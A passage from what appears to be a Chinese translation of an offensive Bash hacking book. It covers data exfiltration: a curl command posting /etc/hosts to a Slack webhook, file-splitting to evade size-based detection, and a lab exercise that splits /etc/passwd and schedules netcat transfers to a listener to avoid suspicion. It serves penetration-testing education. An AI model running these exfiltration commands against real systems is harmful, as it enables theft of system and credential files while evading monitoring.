渗透测试人员可以使用 Slack webhook 接收有关有趣事件的通知,比如发现新漏洞。攻击者也利用 webhook 作为数据外泄端点,因为企业环境通常允许像 Slack 或 Microsoft Teams 这样的消息系统。
例如,要通过 Slack webhook 发送/etc/hosts文件的内容,您可能会写类似于列表 12-32 的内容。
$ **curl -X POST -H 'Content-type: application/json' -d "{\"text\":\"$(cat**
**/etc/hosts)\"}" https://hooks.slack.com/services/some/hook**
列表 12-32:通过 Slack webhook 外泄文件内容
在 Slack 上,这些信息可能如下所示,见图 12-2。

图 12-2:使用 bash 发送的 Slack webhook 消息
如您所见,webhook 本质上只是 HTTP 端点,当数据发送到它们时会触发某个动作(在这种情况下,是将数据发布到一个频道)。与我们之前讨论的文本存储站点相比,它们的母域名(如slack.com和discord.com)更不容易被封锁。
文件分片
外泄的文件可能很大,网络安全控制有时会将传输大量数据的连接标记为可疑。为了应对这种情况,我们可以分片文件,将其拆分成几个较小的文件。让我们探索几种分片策略。在 Kali 上,创建一个包含 1000 行的文件:
$ **for line in $(seq 1 1000); do echo "line number ${line}"; done >> 1000_line_file.txt**
接下来,运行wc -l 1000_line_file.txt来检查文件是否确实包含 1000 行。
行数
使用 split 命令,我们可以将文件分割成多个具有固定行数的文件。例如,将1000_line_file.txt文件按 500 行拆分会生成两个文件,每个文件有 500 行(列表 12-33)。
$ **split -l 500 -d --verbose 1000_line_file.txt**
creating file 'x00'
creating file 'x01'
列表 12-33:将文件拆分成 500 行的块
拆分后创建了名为 x00 和 x01 的两个文件。文件名末尾的数字会根据生成的文件数量递增。要检查每个文件的行数,可以运行 wc -l x00 x01。
文件大小
我们还可以通过指定大小来拆分文件。例如,我们可以通过传递 --bytes 参数来将一个 10MB 的文件拆分成十个 1MB 的文件。
1000_line_file.txt 文件的大小恰好是 15,893 字节。我们将其拆分为 5,000 字节的文件(清单 12-34)。
$ **split -d --verbose --bytes=5000 1000_line_file.txt**
creating file 'x00'
creating file 'x01'
creating file 'x02'
creating file 'x03'
清单 12-34:将文件拆分成 5,000 字节的部分
接下来,检查每个新文件的大小:
$ **ls -l x0***
-rw-r--r-- 1 kali kali 5000 Dec 9 22:56 x00
-rw-r--r-- 1 kali kali 5000 Dec 9 22:56 x01
-rw-r--r-- 1 kali kali 5000 Dec 9 22:56 x02
-rw-r--r-- 1 kali kali 893 Dec 9 22:56 x03
如你所见,我们生成了四个文件。三个文件恰好为 5,000 字节长,第四个文件包含其余的数据。
分块
我们可以通过 --number 参数将文件拆分为相等大小的块,而不是按大小或行数拆分。例如,清单 12-35 将文件拆分成 10 个独立的文件。
$ **split -d --verbose --number=10 1000_line_file.txt**
creating file 'x00'
creating file 'x01'
`--snip--`
creating file 'x08'
creating file 'x09'
清单 12-35:将文件拆分成 10 个部分
你选择的分片方法最终取决于你自己,每种方法都有其优缺点。如果你将文件分成太多块,可能需要进行很多复杂的网络调用来重新组合它们。然而,将文件分成少数几个大块可能会触发检测。寻找一个在你所处情境下合理的平衡点。
练习 29:分片和调度数据外泄
在这个练习中,你将使用两种技术进行数据外泄:先对文件进行分片,然后调度每个分片在不同的时间发送,以避免引起怀疑。
在 Kali 上的端口 12345/TCP 上启动监听:
$ **socat TCP-LISTEN:12345,reuseaddr,fork -**
然后,在p-jumpbox-01(172.16.10.13)中运行清单 12-36 中显示的命令。
$ **cd /tmp**
$ ❶ **for file in $(split /etc/passwd -l 5 -d --verbose); do** ❷ **for prefix**
**in $(echo "${file}" | awk '{print $NF}' | grep -o '[0-9]*'); do** ❸ **echo**
**"cat /tmp/x${prefix} | nc 172.16.10.1 12345" | at now "+${prefix}**
**minutes"; done; done**
清单 12-36:对文件进行分片并调度外泄
我们将/etc/passwd转换成多个五行文件,然后使用 for 循环迭代这些文件 ❶。另一个 for 循环 ❷ 从文件名中提取每个文件的编号(如 00、01 或 02)。在 ❸ 时,我们将命令通过管道传输到 At 任务调度器,将每个文件发送到监听器。我们调度该命令以在从后缀提取的分钟数后运行。
监听器应在几分钟内开始接收数据。所有任务执行完毕后,你将完全重建/etc/passwd文件。要检查已创建的 At 任务,可以使用 atq 命令。请注意,你的任务 ID 可能会有所不同:
$ **atq**
44 Sun Dec 10 04:12:00 a root
43 Sun Dec 10 04:11:00 a root
45 Sun Dec 10 04:13:00 a root
46 Sun Dec 10 04:14:00 a root
47 Sun Dec 10 04:15:00 a root
为了改进此练习,请使用不太可预测的间隔来调度任务。然而,记住,文件的顺序很重要;当你接收它们时,它们的内容应该是有意义的。
总结
在本章中,你学习了安全控制,随后编写了一个脚本来检测系统中的安全软件。你还学习了伪装和隐藏进程的技巧,以及预加载恶意共享库。你篡改了登录会话的元数据,并通过使用多种协议和技术执行了数据外泄。
你现在已经达到了令人兴奋的 Bash 黑客之旅的巅峰。你已经掌握了脚本基础,执行了高级文本处理技巧,并构建了自动化工具来利用易受攻击的服务。这一强大的技能组合应该为你未来的所有道德黑客任务提供保障。
为了将你的进攻性 Bash 技能提升到新高度,我们鼓励你探索本书未涉及的黑客工具,并利用 Bash 将它们集成到你自定义的黑客工作流中。毕竟,学习新脚本技巧的最佳方式就是从一个想法出发,并挑战自己将其实现。祝你好运!


浙公网安备 33010602011771号